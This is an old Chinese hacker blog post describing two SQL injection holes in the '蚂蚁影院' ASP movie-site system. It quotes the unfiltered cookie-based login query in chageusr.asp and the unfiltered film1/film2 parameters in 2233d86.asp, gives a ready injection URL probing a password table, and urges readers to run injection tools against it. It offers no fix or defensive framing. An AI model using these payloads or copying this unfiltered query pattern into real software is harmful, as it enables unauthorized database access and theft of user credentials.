2005-12-02 19:28:16 by: h4x0r

蚂蚁影院系统存在的2个注射漏洞

Font Size: Large | Medium | Small
1.蚂蚁影院系统chageusr.asp存在注射漏洞
我们先来看一下代码:
从第三行开始:
<% if request.cookies("userid")="" or request.cookies("password")="" then //首先要保证我们的cookie中userid和password的值不为空
response.write"<script>alert('没有登陆无法修改!');</Script>"
response.write"<script Language=Javascript>location.href = 'index.asp';</script>"
end if
if request.cookies("oktt")="yes" then
response.write"<script>alert('网吧用户无权进入!');</Script>"
response.write"<script Language=Javascript>location.href = 'index.asp';</script>"
end if
dim rs
dim sql
set rs=server.createobject("adodb.recordset")
sql="select * from users where userid='"&request.cookies("userid")&"' and password='"&request.cookies("password")&"'" //sql语句中可以看到userid和password的查询是来自客户端的cookie,并且没有验证
rs.open sql,conn,1,3
id=rs("id")
userid=rs("userid")
password=rs("password")
name=rs("name")
email=rs("email")
sex=rs("sex")
Province=rs("Province")
dat=rs("date")
%>
通过上面的简要分析我们可以知道,userid和password并没有过滤,userid和password全来自客户端的cookie,所以我们只要在客户端构造注射语句就可以进行注射.

2.为了看电影今天坐上床上乖乖的看代码,看了两个文件,两个文件都有注射漏洞,第一个cookie注射漏洞,接下来的这个就比较好利用了,直接拿工具注射吧,嘿嘿.

老规矩先来分析一下代码,漏洞是在2233d86.ASP文件里,重要代码:
<% Response.Expires=0
dim sql
dim rs
articleid=request("film2") //看到request就知道代码编写者白痴,
urlid=request("film1")
if articleid="" or urlid="" then
response.write"非法操作"
response.end
end if
set rs=server.createobject("adodb.recordset")
sql="select serverip,canlook,movietype,title from learning where articleid="&articleid
rs.open sql,conn,1,1
serverip=rs("serverip")
okip=Request.Servervariables("HTTP_X_FORWARDED_FOR")
If okip="" Then okip=Request.Servervariables("REMOTE_ADDR")
set rst8=server.createobject("adodb.recordset")
sql="select okip,testok,endtimes from okip where okip='"&okip&"'"
rst8.open sql,conn,1,1
if rst8.eof and rst8.bof then
if request.cookies("userid")="" or request.cookies("password")="" then
%>
看到了吧,articleid=request("film2"), urlid=request("film1"),用ctrl+f追踪这两个变量,根本没有看到过滤,嘿嘿,这下爽了吧,直接注吧.

直接构造如下:
http://www.h4x0r.com/mov/2233d86.asp?film1=2524&film2=421
保证film1和film2不为空就可以了,两个都没过滤都可以注射,交换变量位置也一样.

构造注射语句如下:
http://www.h4x0r.com/mov/2233d86.asp?film1=2524&film2=421 and 1=(select count(*) from password);--
嘿嘿,接下来的就不要我教了吧 [lol]
[Last Modified By h4x0r, at 2005-12-02 19:34:40]
Comments Feed Comments Feed: http://www.4evil.org/feed.asp?q=comment&id=232

There is no comment on this article.

Post Comment
Smilies
[smile] [confused] [cool] [cry]
[eek] [angry] [wink] [sweat]
[lol] [stun] [razz] [redface]
[rolleyes] [sad] [yes] [no]
[heart] [star] [music] [idea]
Enable UBB Codes
Auto Convert URL
Show Smilies
Hidden Comment
Username:   Password:   Register Now?
Security Code * Please Enter the Security Code